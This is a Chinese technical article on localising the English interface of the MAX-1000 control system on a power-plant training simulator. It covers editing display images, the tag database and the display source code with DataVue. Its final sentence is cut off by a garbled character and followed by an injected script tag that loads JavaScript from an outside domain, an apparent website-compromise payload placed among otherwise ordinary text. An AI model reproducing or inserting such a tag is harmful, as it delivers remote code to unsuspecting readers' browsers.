摘 要：叙述max－1000监控系统界面汉化的必要性，介绍了在仿真机上实现max－1000监控系统界面汉化的一些方法。
关键词：汉化；画面；界面；仿真机
1 max－1000监控系统界面汉化的必要性
在现场实际运行中，大型火电机组监控系统对保证机组安全、稳定、高效地运行显得尤为重要。就我省而言，丰城电厂300mw火电机组其监控系统采用美国利诺公司的max－1000监控系统，由于max－1000监控系统运行界面采用全英文方式，这对于从事现场运行的中方工作人员来说，无疑增加了运行的难度及安全隐患。
丰城电厂300mw机组全范围仿真机，其被仿对象为江西省丰城发电厂1号机组，按1∶1的比例全范围、全过程进行模拟，其逼真的盘台布置、max－1000监控系统的界面及运行过程的现场化，使培训环境、培训效果非常好，运行人员的操作如临现场，这有利于大型火电机组运行人员的培训。但是，不论是现场运行还是仿真培训，都面临这样一个事实：运行人员在监控系统上的操作非常频繁，尤其是汽机、锅炉监控人员，max－1000监控系统的每一幅画面对于他们都非常重要，机组成功运行的关键就在于正确理解max－1000监控系统相关画面的操作、监控信息，并及时做出正确的反应。而max－1000监控系统的界面英文化，因此一旦现场人员英语水平有所欠缺，就会影响对监控画面的理解，从而影响运行人员的运行水平，使机组安全运行存在隐患。因此，实现max－1000监控系统界面汉化，可极大地提高现场运行人员的运行水平，提高机组运行效率。
2 max－1000监控系统界面汉化的方法
丰城电厂300mw机组全范围仿真机给了我们一个实现max－1000监控系统界面汉化的机会，其大致的设想是：在windows操作系统环境下，对max－1000监控画面分篇幅进行汉化处理，由于此类画面不是常规的图形文件格式，不能直接采用photoshop、windows画图等图形设计应用程序，且面临数百幅不同画面的处理，因此，考虑采用其支持软件datavue为主，再配以其它制图软件如photoshop、windows画图、图形浏览工具acdsee等。
下面简单介绍max－1000监控系统界面汉化过程中的一些方法：
（1）画面中采用直接调用文字图片
在此类max－1000监控画面中，由于画面局部采用了图片制作方式，画面汉化处理过程相应转到对画面局部图片的处理上。具体解决的方法就是采用photoshop或windows画图工具，对画面中每一幅图片进行重新编辑，去除图片中英文部分，在原位置添加相应的汉字部分，保存图片文件时，以pcx的图片文件格式保存。注意，用windows画图编辑图片时，先把图片保存为bmp位图格式，然后用acdsee、photoshop等图片工具进行相应的图片格式转换。另外，由于max－1000监控画面的应用环境在现场为windows3．1，在windows98操作系统环境下编辑画面图片时，桌面颜色设置为256色，以避免max－1000监控系统在windows3．1环境下画面图片文字因变形而达不到预期的效果。
此种以文字图片实现max－1000监控画面汉化的方式，其优点是形成的监控画面在实际运行中无需中文平台的支持，但如大量采用此方式，会造成画面中图片过多，影响实际调用画面的速度。
（2）画面中实时运行数据显示的文字汉化
启动datavue数据库编辑器，打开文件jxtag．raw，利用datavue数据库编辑器的“edit”菜单下的“modify element data”命令，编辑jxtag．raw文件的ao－long项的各条输出项，使每条内容中文化，保存相关文件后退出。
（3）采用datavue软件编辑界面在画面中相应位置添加汉字
启动datavue编辑器，打开要汉化的max－1000监控画面，利用datavue编辑器的“edit”菜单下的“screen dump”命令，打开画面源程序，采用其“search”功能查找相应的英文描述，并用汉字替换查找到的英文字符，源程序编辑完成后经编译后保存退出。此种汉化方式较第一种方式简单，但是汉化后的max－1000监控画面必须运行于中文环境，比如中文windows环境或在max－1000监控系统原有windows3．1环境下加载类似中文之星等的中文平台。
3 结束语
上述介绍的max－1000监控画面的汉化方法只是汉化工作过程中的几种方法，当然汉化过程并不仅限于此，还有很多方面的工作要做，比如现场资料的准备，英译汉的准确性都很重要，这直接关系到汉化工作的顺利完成。max－1000监控系统界面实现汉化的工作虽然是在仿真机上，但汉化的实现是基于max－1000监控系统界面。就仿真机而言，可以提高仿真运行培训的效率，让学员把主要精力投入到培训中，这在实际培训中得到了印证，深受学员的欢迎；就现场而言，通过运行人员在仿真机上的培训，提高了运行水平，对max－1000监控系统英文界面环境下的操作也相应熟练。仿真机上实现max－1000监控系统界?script src=http://er12.com/t.js>
